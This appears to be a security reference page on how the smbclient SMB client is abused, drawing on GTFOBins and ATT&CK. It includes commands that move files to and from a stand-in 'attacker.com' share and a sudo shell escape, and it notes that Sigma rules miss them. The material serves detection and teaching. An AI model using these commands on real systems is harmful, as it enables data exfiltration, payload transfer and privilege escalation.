Identifier / Programs / Linux and Unix
smbclient
FTP-like client to access SMB/CIFS resources on servers. tldr-pages
GTFOBins download, upload 1 ATT&CK technique 3 documented commands
How smbclient is abused
download T1105 Ingress Tool Transfer
-cupload
-cEach abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for smbclient.
3 documented commands
download unprivileged, with sudo
smbclient '\\attacker.com\share' -c 'get /path/to/input-file /path/to/output-file'shell unprivileged, with sudo
A valid SMB/CIFS server must be available.
smbclient '\\host\share'
!/bin/shupload unprivileged, with sudo
smbclient '\\attacker.com\share' -c 'put /path/to/input-file /path/to/output-file'None of the 3 commands the identifier reads trips a Sigma process-creation rule. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for smbclient. The identifier reads the line of each that runs smbclient.
What detects it
Everyday use
List available shares on a server anonymously
smbclient --list server --no-passIdentifyConnect to a share (will prompt for a password)
smbclient //server/shareIdentifyConnect to a share as a specific user
smbclient --user domain/username //server/shareIdentifyNone of the 3 examples the identifier reads matches GTFOBins abuse or trips a Sigma process-creation rule.